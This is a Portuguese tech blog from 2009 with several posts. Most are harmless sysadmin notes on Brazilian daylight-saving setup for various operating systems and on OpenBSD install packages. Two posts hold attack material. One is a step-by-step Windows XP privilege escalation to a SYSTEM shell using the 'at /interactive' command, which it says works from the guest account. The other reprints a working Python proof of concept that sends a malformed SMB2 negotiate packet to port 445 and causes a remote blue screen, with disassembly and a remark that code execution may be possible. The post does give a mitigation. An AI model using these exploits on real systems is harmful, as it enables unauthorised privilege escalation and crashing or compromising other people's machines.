terça-feira, 20 de outubro de 2009

Windows XP System Level Privilege Escalation

Escalação de privilégio é o ato de explorar um bug ou falha de projeto em um software para obter acesso aos recursos que normalmente teria sido protegido de uma aplicação ou usuário. O resultado é que a aplicação executa ações com mais privilégios do que o pretendido pelo desenvolvedor do aplicativo ou o administrador do sistema.

Usando um simples comando em uma maquina rodando Windows XP é possível rodar qualquer processo com o usuário system. O nível do usuário system é maior que o do usuário administrador, e possui controle total do sistema operacional e do kernel. Você pode usar a conta guest para exploitar o sistema.

O usuário Local System (system) é diferente do usuário administrador, porque possui controle total sobre o sistema operacional, similar ao root nos sistemas *nix. Muitos processos do sistema operacional roda com o usuário system, e não pode ser fechado pelo usuário administrador, se tentar finalizar o processo como administrador, o resultado será uma mensagem de erro.

Mãos a obra:
No Windows XP clique em Iniciar/Executar, digite cmd.exe e clique em ok, será aberta uma janela do prompt de comando:




Utilize o comando at para agendar uma nova tarefa:

at 12:13 /interactive "cmd.exe"



OBS: substitua o horário (12:13) para hora atual + 1 minuto, para a tarefa ser executada no maximo após um minuto.

Caso queira visualizar as tarefas agendadas com o comando at, digite at no prompt:





No horário agendado será aberto um novo prompt de comando (OBS: este novo prompt já é com usuário system) todos os processos iniciados apartir dele será executado como usuário system




Somente para ilustração executei o comando calc (Calculadora do Windows) observe no gerenciador de tarefas que o processo calc.exe esta sendo executado como usuário system




Agora use a sua imaginação e faça o que quiser, por exemplo finalize o processo explorer.exe (processo do Desktop) e no prompt de comando digite explorer, será aberta uma nova área de trabalho com o usuário system, tudo que for aberto apartir dela será executado como system...

be happy... ;)

sexta-feira, 16 de outubro de 2009

Horario de Verão no HP-UX

1) Acrescentar no arquivo /usr/lib/tztab as linhas com as definições das datas para o Brasil:

# Brazilian Eastern Standard Time, Brazilian Eastern Daylight Time BRA3BDT
0 1  15-21 10 2008-2024 0 BDT2
0 23 14-20 2  2009-2011 6 BRA3
0 23 25    2  2012    0-6 BRA3
0 23 14-20 2  2013-2014 6 BRA3
0 23 21    2  2015    0-6 BRA3
0 23 14-20 2  2016-2022 6 BRA3
0 23 25    2  2023    0-6 BRA3
0 23 14-20 2  2024-2025 6 BRA3

parametros EX: 0 23 14-20 2 2024-2025 6 BRA3

0         = minuto (0-59)
23        = hora (0-23)
14-20     = dia do mes (1-31)
2         = mes do ano (1-12)
2024-2025 = ano (1970-2038)
6         = dia da semana (domingo = 0)
BRA3      = Time Zone



Caso seja a primeira vez que se está configurando horario de verão no sistema, certificar-se de que a hora atual do sistema está correta em relação a GMT:

# date
Thu Sep 11 09:11:17 BRA 2008

# date -u
Thu Sep 11 12:11:17 UTC 2008

Quando não estamos em horario de verão a diferença com relação a GMT (UTC) deve ser -3 horas.
Se estiver diferente disso, seu sistema está com o horario absoluto errado ou com o timezone definido incorretamente (diferente de GMT-3). Isto precisa ser corrigido primeiro.
Se for necessario ajustar o horario absoluto do sistema, usar o comando date.
A sintaxe é:

# date [-u] [mmddhhmm[[cc]yy]]

Caso seja necessario retroagir a data para este ajuste recomendamos que o sistema seja reiniciado (reboot).

2) Altere o arquivo /etc/TIMEZONE para BRA3BDT:

# TZ=BRA3BDT
# export TZ

Buscando pelo Verde

Reproduzo aqui a postagem do Marcelo ( http://www.marcelosouza.org ) vale a pena apoiar:


Boas Pessoal,

Pra quem ainda não conhece ai vai uma dica interessante. A proposta é ser um site de busca ecologiacamente correto, por isto o Eco4Planet.com se compromete a plantar 01 árvore a cada 50 mil buscas, inicialmente o projeto está consolidade no interior de São Paulo, mais especificamente em Ribeirão Preto. Porém o projeto está no inicio e parcerias ainda são muito bem vindas.

Para conferir segue o link abaixo:

http://www.eco4planet.com/pt/

É isto ai! Abraço verde a todos! :)

Horário de Verão 2009/2010

Alerta do CAIS 20091015
[CAIS, 15.10.2009-10:55, revisão 02]

O CAIS gostaria de informar que o Horário de Verão 2009/2010 terá início à zero hora (00:00) de 18 de Outubro de 2009 e término à zero hora (00:00) de 21 de Fevereiro de 2010.

O decreto no. 6.558 de 8 de setembro de 2008 determinou datas fixas de início e encerramento do período de Horário de Verão. O início sempre será à zero hora do terceiro domingo de Outubro e o encerramento sempre à zero hora do terceiro domingo de Fereveiro do ano seguinte. Se o terceiro domingo de Fevereiro for um domingo de Carnaval então o encerramento é automaticamente transferido para zero hora do domingo seguinte.

No próximo domingo, 18 de Outubro, ser&acoacute; preciso adiantar os relógios em 1 hora nos estados da região Sul, Sudeste e Centro-Oeste que participam do Horário de Verão.

  • Rio Grande do Sul
  • Santa Catarina
  • Paraná
  • São Paulo
  • Rio de Janeiro
  • Espírito Santo
  • Minas Gerais
  • Goiás
  • Mato Grosso
  • Mato Grosso do Sul
  • Distrito Federal
Lembramos a todos que, tratando-se de incidentes de segurança, a precisão dos relógios dos sistemas é fundamental para manter a consistência dos logs, além de ser imprescindível nas investigações e identificação de responsáveis. Lembramos ainda que os logs reportados durante a vigência do Horário de Verão estarão no timezone UTC-0200 (GMT-2).

Mais informações:



Alterações de Configuração Necessárias para o Horário de Verão 2009/2010

O horário de verão tem relação com o timezone (fuso horário) configurado no sistema. Ao alterar o timezone altera-se o parâmetro do sistema que determina a diferença em horas entre o horário absoluto (UTC / GMT 0) e o horário local.

Se o relógio do sistema (horário absoluto) marca 16:00:00 UTC, ajustado por NTP, temos:

  • Para o timezone do Brasilia (UTC-3), o horário mostrado ao usuário será 13:00h ou UTC-3 (hora local)
  • Para o timezone de Paris (França - UTC+1) o horário mostrado ao usuário será 17:00h ou UTC+1 (hora local)
Nenhuma modificação na configuração do serviço de NTP é necessária. Entretanto, deve-se tomar um cuidado especial com os servidores NTP (Stratum 1, Stratum 2 e outros) quando ocorrerem modificações de configuração para o horário de verão. Caso o servidor NTP detecte uma diferença maior do que 20 minutos entre o horário do sistema (horário absoluto) e o horário registrado pelo servidor NTP (ntpd, OpenNTPD), o serviço NTPD poderá parar. Assim, deve-se redobrar a atenção durante o processo de configuração do horário de verão em hosts que provêem este serviço.

Lembramos também que, para algumas versões de Linux/Unix, poderá ser necessário reiniciar o daemon "cron" após o início do horário de verão, de forma que as tarefas agendadas através do Cron possam continuar a ser executadas no horário correto. Para mais informações, verifique o manual do "cron" e "crontab" do seu sistema.

A seguir são descritos os procedimentos de atualização do localtime em sistemas FreeBSD, GNU/Linux, Solaris, AIX e Windows, bem como em alguns equipamentos Cisco que usam IOS. Antes de prosseguir com estes procedimentos é preciso que se saiba de antemão o timezone da sua região.

 
1. Cisco IOS
2. GNU/Linux
3. FreeBSD
4. OpenBSD
5. Solaris
6. AIX
7. MS Windows


1. Cisco IOS

Será preciso incluir (ou atualizar) as seguintes linhas nos arquivos de
configuração dos roteadores Cisco:

clock timezone GMT-3 -3
clock summer-time GMT-2 date Oct 18 2009 0:00 Feb 21 2010 0:00

Os logs gerados pelo Cisco passarão a informar a hora como GMT-2, que é a
nova configuração do timezone.


2. GNU/Linux

Usuários de sistemas baseados em GNU/Linux devem seguir o procedimento
abaixo:

  1. Verificar a existência do arquivo '/etc/localtime'. Se este arquivo existir verifique se ele é um link simbólico. Uma das formas de fazer esta verificação é executar o seguinte comando:

    $ file /etc/localtime
    localtime: timezone data

    A saída acima indica que se trata do próprio arquivo com dados de timezone. A saída abaixo indica um link para o arquivo.

    $ file /etc/localtime
    localtime: symbolic link to `/etc/localtime'

    Não é recomendado possuir o arquivo /etc/localtime como link simbólico. Sistemas cujo diretório /usr é acessivel (não tiver sido montado, por exemplo) no momento de inicialização da máquina, os dados do arquivo localtime não serão lidos.

  2. Verificar se existe algum arquivo no diretório /usr/share/zoneinfo/Brazil que contenha informações relativas a outros anos. Normalmente este arquivo tem extensão ZIC (.zic).

    1. Se não existir um arquivo com tais dados então crie um novo (verao.2009.zic por exemplo) no diretório /usr/share/zoneinfo/Brazil/. Este arquivo deverá conter as seguintes linhas:

      Rule Brazil  2009    only     -       Oct    18   00:00   1       S
      Rule Brazil  2010    only     -       Feb    21   00:00   0       -

      Zone    Brazil/East             -3:00   Brazil          BR%sT

    2. Se existir um arquivo com dados de outros anos basta inserir as linhas acima ao final do arquivo existente.

      As duas primeiras linhas de configuração acima informam quando se inicia o horário de verão, quando termina e qual é a ação tomada. Lembre-se de que no início do horário de verão a hora local é acrescida em uma (1) hora.

      A última linha informa qual arquivo será modificado pelo comando 'zic'. No exemplo acima será o arquivo 'East' (dentro do diretório Brazil). Esta linha também informa qual o timezone original da região - no caso de São Paulo (East) temos UTC-3. Caso você esteja utilizando um timezone diferente do adotado em São Paulo (East) modifique estes parâmetros para o timezone de sua região:

      #Fuso horario do Arquipelago de Fernando de Noronha:
      Zone    Brazil/DeNoronha     -2:00   Brazil          FN%sT

      #Fuso horario dos estados a Leste
      Zone    Brazil/East          -3:00   Brazil          BR%sT

      #Fuso horario dos estados a Oeste (AC, AM, RO, RR, MS, MT)
      Zone    Brazil/West          -4:00   Brazil          AM%sT

      * Parâmetros definidos pela glibc presente em sistemas Linux, disponível para download em http://www.gnu.org/ .

  3. Uma vez feitos os devidos ajustes no arquivo 'verao.2009.zic' execute o comando 'zic':

    # zic verao.2009.zic

    Neste caso em particular o comando atualizará o arquivo East.

  4. Para verificar se as configurações corretas foram feitas execute o comando 'zdump', conforme as orientações abaixo (troque East pelo timezone de sua região):

    # zdump -v Brazil/East

    Você deverá obter uma saída como esta:

    Brazil/East  Sun Oct 18 02:59:59 2009 UTC = Sat Oct 17 23:59:59 2009 BRT isdst=0 gmtoff=-10800
    Brazil/East  Sun Oct 18 03:00:00 2009 UTC = Sun Oct 18 01:00:00 2009 BRST isdst=1gmtoff=-7200
    Brazil/East  Sun Feb 21 01:59:59 2010 UTC = Sat Feb 20 23:59:59 2010 BRST isdst=1gmtoff=-7200
    Brazil/East  Sun Feb 21 02:00:00 2010 UTC = Sat Feb 20 23:00:00 2010 BRT isdst=0 gmtoff=-10800

    Note que em "Sat Oct 17 23:59:59 2009 BRT" o sistema ainda não está no horário de verão (indicacao 'BRT'). No segundo seguinte as modificações do horário de verão entram em vigor, adiantando o localtime em uma hora: "Sun Oct 18 01:00:00 2009 BRST" (O horário mostrado ao usuário passará para 1 da manhã e não para meia-noite, mostrando o adiantamento do horário).

    Em "Sat Feb 20 23:59:59 2010 BRST", o horário de verão terminará no segundo seguinte, com o localtime sendo então atrasado em 1 hora: "Sat Feb 20 23:00:00 2010 BRT" (o horário mostrado ao usuário voltará para 23:00).

  5. Por último, se o arquivo /etc/localtime não for um link para o arquivo /usr/share/zoneinfo/Brazil/East, deve-se copiar o arquivo East para /etc/localtime

    $ cp East /etc/localtime


3. FreeBSD

Usuários do sistema FreeBSD devem proceder da mesma forma que usuários GNU/Linux. A única diferença está no diretório onde deverá ser criado o arquivo 'verao.2009.zic' - /usr/share/zoneinfo. As linhas a serem incluídas neste arquivo, assim como em sistemas GNU/Linux, são:

Rule Brazil  2009    only     -       Oct     18   00:00   1       S
Rule Brazil  2010    only     -       Feb     21   00:00   0       -

Zone    hv2009             -3:00   Brazil          BR%sT

No exemplo acima, o nome 'hv2009' representa o arquivo que será criado ao executar o comando:

# zic verao.2009.zic

O arquivo conterá as informações do horário de verão e deverá ser copiado sobre /etc/localtime, lembrando que será preciso fazer uma cópia de segurança do arquivo /etc/localtime antes de sobrescrevê-lo.


4. OpenBSD

Usuários do sistema OpenBSD devem proceder da mesma forma que usuários GNU/Linux.


5. Solaris

Usuários de Solaris devem seguir o procedimento abaixo:

  1. Verificar o zoneinfo respectivo. O arquivo /etc/TIMEZONE contém as informações relativas a qual arquivo será consultado para verificar o zoneinfo.

    # more /etc/TIMEZONE
    TZ=Brazil/East

    No exemplo acima o arquivo a ser consultado é East, no diretório Brazil. Por padrão este diretório deve estar em /usr/share/lib/zoneinfo.

  2. Verificar se existe no diretório /usr/share/lib/zoneinfo algum arquivo em formato texto que contenha informações relativas a outros anos (geralmente um arquivo com extensao .zic).

    1. Se não existir um arquivo com tais informações crie um novo arquivo (brazil.zic por exemplo) e insira as seguintes linhas.

      Rule Brazil  2009    only     -       Oct     18   00:00   1       S
      Rule Brazil  2010    only     -       Feb     21   00:00   0       -

      Zone    Brazil/East             -3:00   Brazil          BR%sT

    2. Se existir um arquivo com informações de horário de verão de outros anos basta inserir as linhas acima.

      As duas primeiras linhas informam quando inicia o horário de verão, quando termina e qual a acão a ser tomada. Lembre-se de que no início do horário de verão deve ser adicionada uma hora.

      A última linha informa qual arquivo será gerado pelo comando 'zic' - no exemplo será o arquivo 'East' (dentro do diretório Brazil). Esta linha também informa o timezone da região, no caso o de São Paulo, UTC-3.

      No exemplo que se segue existe um diretório 'Brazil' dentro de /usr/share/lib/zoneinfo que contém um arquivo brazil.zic, que deve ser atualizado com as linhas mencionadas acima.

  3. Deve-se então gerar o novo arquivo (em formato binário) como segue:

    # zic brazil.zic

  4. Para verificar se as configurações foram feitas corretamente execute o comando 'zdump' conforme as orientações abaixo (troque East pelo timezone de sua região):

    # zdump -v Brazil/East

    Você deverá obter uma saída como esta:

    Brazil/East  Sun Oct 18 02:59:59 2009 UTC = Sat Oct 17 23:59:59 2009 BRT isdst=0 gmtoff=-10800
    Brazil/East  Sun Oct 18 03:00:00 2009 UTC = Sun Oct 18 01:00:00 2009 BRST isdst=1gmtoff=-7200
    Brazil/East  Sun Feb 21 01:59:59 2010 UTC = Sat Feb 20 23:59:59 2010 BRST isdst=1gmtoff=-7200
    Brazil/East  Sun Feb 21 02:00:00 2010 UTC = Sat Feb 20 23:00:00 2010 BRT isdst=0 gmtoff=-10800


6. AIX

Usuários de AIX devem alterar o arquivo /etc/environment incluindo a diretiva:

2009: TZ=GRNLNDST3GRNLNDDT,M10.3.0/00:00:00,M2.3.0/00:00:00

A saída acima indica que o horário de verão se inicia às 00:00 do terceiro domingo do mês 10 (18 de outubro) e finaliza às 00:00 do terceiro domingo do mes 2 (21 de fevereiro), seguindo a seguinte sintaxe:

2009: TZ=GRNLNDST3GRNLNDDT,Mm.w.wd/00:00:00,Mm.w.wd/00:00:00

  • m: mês ( 1 < m < 12 )
  • w: ocorrência do dia da semana no mês contados a partir do dia 1o. (1 < d < 5)
  • wd: dia da semana ( 0 < n < 5 : Domingo corresponde a 0)
  • hh:mm: horário


7. MS Windows

Em Abril de 2008 foi sancionada a lei no. 11.662/08, que reduziu o número de fusos horários brasileiros para três. Os fusos horários dos estados do Acre, Pará e Amazonas foram afetados. Em Agosto a Microsoft disponibilizou uma atualização cumulativa que trata desta mudança.

Para sistemas Windows 9*/NT/2000/XP recomenda-se o uso do utilitário TZEDIT (tzedit.exe), incluido no CD do Resource Kit que acompanha a distribuição do sistema. Não existe URL oficial para download deste programa no site da Microsoft, mas ele pode ser facilmente encontrado na Internet, lembrando que neste último caso não se garante a integridade do programa.

Uma segunda opção para modificação do timezone em Windows XP é a utilizacao do utilitário 'timezone.exe', disponível para download em:

O download é precedido de um processo de validação, que verifica se sua instalação de Microsoft Windows é genuína.

Administradores de sistemas Windows que queiram automatizar a atualização do horário de verão podem encontrar mais informações em:

Para a configuração de timezone do seu sistema utilizando o comando 'timezone.exe' siga os seguintes passos:

  1. Faca o download do "Windows XP Service Pack 2 Support Tools" e instale-o no seu sistema, caso você não possua o utilitário 'timezone.exe'.

  2. Em um prompt de comando (cmd.exe) execute, a partir do diretório "Program FilesSupport Tools" (se foi utilizada a instalação padrão), o seguinte comando:

    C:Program FilesSupport Tools>timezone.exe /s 00:0:3:10  00:0:3:02

    As configurações acima seguem o formato:

    Hora:DiaDaSemana:Dia:Mes    Hora:DiaDaSemana:Dia:Mes
    (Início horário de verão)   (Fim horário de verão)

    • Hora: Hora (00 ate 23)
    • DiaDaSemana: Dia da semana (0 - 6 : 0 = Domingo, 1 = Segunda, etc)
    • Dia: Ocorrência do dia da semana no mês (1 - 5: Exemplo -> no caso do dia da semana ser Terça-Feira:  1 - primeira terça do mês, 2 - segunda terça do mês, etc)
    • Mes: Mês do ano (01 - 12)

  3. Execute o seguinte comando para verificar se as modificações ocorreram com sucesso:

    C:Program FilesSupport Tools>timezone.exe /g

    Current Timezone is :

    Daylight Saving Time begins at 00:0:3:10
    Daylight Saving Time ends at 00:0:3:02

  4. Configure o sistema para utilizar automaticamente as configurações do horário de verão:

    • Start -> Settings -> Control Panel -> Date and Time -> Timezone;
    • Certifique-se que você esteja utilizando o timezone de Brasília (UTC-0300);
    • Certifique-se que a caixa "Automaticamente ajuste o relógio para o horário de verão" esteja marcada.
Para configuração de Horário de Verão em sistemas Microsoft Windows Vista por favor consulte a seguinte página da Microsoft:


O CAIS recomenda que os administradores mantenham seus sistemas e aplicativos sempre atualizados, de acordo com as últimas versões e correções oferecidas pelos fabricantes.

quarta-feira, 23 de setembro de 2009

Pacotes da instalação do OpenBSD

Na instalação do OpenBSD você seleciona os pacotes que deseja instalar:

Para selecionar os pacotes basta digtar o nome do pacote, por exemplo, para marcar o pacote xbase: xbase45.tgz, e para remover a selecao de um pacote basta colocar um simbolo de - antes do nome do pacote: -xbase45.tgz.


Select sets by entering a set name, a file name pattern or 'all'. De-select
sets by prepending a '-' to the set name, file name pattern or 'all'. Selected
sets are labeled '[x]'.

[X] bsd
[X] bsd.rd
[ ] bsd.mp
[X] base45.tgz
[X] etc45.tgz
[X] misc45.tgz
[X] comp45.tgz
[X] man45.tgz
[X] game45.tgz
[ ] xbase45.tgz
[ ] xetc45.tgz
[ ] xshare45.tgz
[ ] xfont45.tgz
[ ] xserv45.tgz
Set name? (or 'done') [bsd.mp] all



Mas quais pacotes devo selecionar?

    * bsd - Este é o Kernel (NECESSÁRIO)
    * bsd.mp - Kernel para multiprocessamento (Em algumas plataformas)
    * bsd.rd - RAM disk kernel
    * base45.tgz - Contém a base do sistema OpenBSD (NECESSÁRIO)
    * etc45.tgz - Contém todos os arquivos do diretório /etc (NECESSÁRIO)
    * comp45.tgz - Contém compiladores e suas ferramentas (Recomendado)
    * man45.tgz - Contém os manuais (Recomendado)
    * misc45.tgz - Contém informacoes e documentos de instalacao
    * game45.tgz - Contém jogos
    * xbase45.tgz - Contém a base, bibliotecas e utilitários para o X11
    * xetc45.tgz - Contém arquivos de configuracao do /etc/X11 e /etc/fonts
    * xfont45.tgz - Contém as fontes
    * xserv45.tgz - Contém o servidor X
    * xshare45.tgz - Contém os manuais, configurações locais, etc para o X

Caso tenha esquecido de marcar algum pacote durante a instalação, existem 2 maneiras de se fazer:

- Usando o processo de atualização
Inicie o sistema com o CD ou Disquete de boot do OpenBSD e selecione a opção de atualização (Upgrade), selecione os pacotes que faltam e será instalado para você

- Usando tar
Estes arquivos de instalação sao simplesmente arquivos comprimidos pelo tar, tudo que você tem que fazer é descompactar os arquivos:

  # cd /
  # tar xzvphf comp45.tgz

OBS: Não se esqueça da opcao 'p' para preservar as permissões.

Se você estiver instalando o pacote xbase atraves do tar e sem reiniciar o sistema você precisa atualizar a cache das bibliotecas:

  # ldconfig -m /usr/X11R6/lib

Ou simplesmente reinicie o sistem que o script de inicialização rc faz isso para você ;)

terça-feira, 8 de setembro de 2009

Windows Vista, 7 e 2008 Server : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

B.S.O.D. - Blue Screen of Death (Tela Azul da Morte) é uma tela apresentado nos sistemas operacionais Windows em caso de erro grave de sistema.

SMB - Server Message Block funciona como um aplicativo de nível rede, utilizado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre pontos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam os sistemas operacionais Windows em ambientes de rede.

Hoje acordamos com um aviso publicado por Laurent Gaffie onde uma possivel falha nos drivers SMB v2.0 (utilizados nos sistemas Windows Vista, 7 e 2008 Server) poderia causar um B.S.O.D.

A Falha:

Para estabelecer uma comunicação, o cliente envia uma menssagem para o servidor, chamada de NEGOTIATE PROTOCOL REQUEST, esta menssagem é utilizada para identificar o dialeto utilizado para futuras comunicações.
Quando o driver SRV2.SYS recebe uma string mal formada no momento do NPR ele falha, causando um B.S.O.D.

O Código para exploração:

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket

from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Para quem utiliza o Metasploit, também já existe disponivel um módulo para exploração desta falha

Utilizando engenharia reversa, podemos analisar o codigo e ver como a falha acontece - Módulo: Srv2.sys :

Code (asm)
; int __stdcall Smb2ValidateProviderCallback(PVOID DestinationBuffer)
_Smb2ValidateProviderCallback@4 proc near


.text:000156B3 loc_156B3:                              ; CODE XREF: Smb2ValidateProviderCallback(x)+4D5j
.text:000156B3                                         ; Smb2ValidateProviderCallback(x)+4DEj
.text:000156B3                 movzx   eax, word ptr [esi+0Ch]; packet->SBM_Header->Process_ID_High
.text:000156B7                 mov     eax, _ValidateRoutines[eax*4]; FALLO - out-of-bounds dereference.
.text:000156BE                 test    eax, eax
.text:000156C0                 jnz     short loc_156C9
.text:000156C2                 mov     eax, 0C0000002h
.text:000156C7                 jmp     short loc_156CC
.text:000156C9 ; —————————————————————————
.text:000156C9
.text:000156C9 loc_156C9:  ; CODE XREF: Smb2ValidateProviderCallback(x)+4F3j
.text:000156C9                 push    ebx
.text:000156CA                 call    eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate(x) - KABOOOM!!
 













Como você pode ver, [esi +0 xc] aponta para o nosso pacote, exatamente para o campo de cabeçalho ProcessIDHigh cujo tamanho é de 16 bits. Podemos controlar inteiramente este valor. Mais tarde, esse valor é usado como índice para um ponteiro de função dentro do _ValidateRoutines tabela de funções. Bug Classico ! o código não está verificando o tamanho da tabela antes da referência ao ponteiro de função. Esta é a razão pela qual esta é uma vulnerabilidade de execução remota de código e não apenas uma negação de serviço. E esta é a razão pela qual, a exploração pode ou não travar a máquina. Se a página apontada pelo índice é inválido o sistema irá BSOD caso contrário ele pode falhar em outro ponto ou simplesmente não a falhar.

Como se proteger:

Ainda não há uma correção disponivel pela Microsoft, portanto, podemos filtrar o acesso ao protocolo TCP na porta 445 com um firewall, ou desabilitar o protocolo SMB2

Sistemas afetados:

Windows Vista, Windows 7 e Windows 2008 Server

Assim que tiver mais detalhes sobre esta falha... atualizarei o post ! :D
OBS: quem conseguir controlar esse ponteiro na hora do estouro da pilha num vai prestar !!! kkk pode apontar para execuçao de qualquer programa na memória, e já que a falha não necessita autenticação... Oo ;)

Referencias:

http://seclists.org/fulldisclosure/2009/Sep/0039.html
http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx

Imagem do B.S.O.D.:




Updated: [09/10/2009 - 11:10 a.m.]

Microsoft Security Advisory (975497) Vulnerabilities in SMB Could Allow Remote Code Execution
US-CERT - Microsoft Releases Security Advisory 975497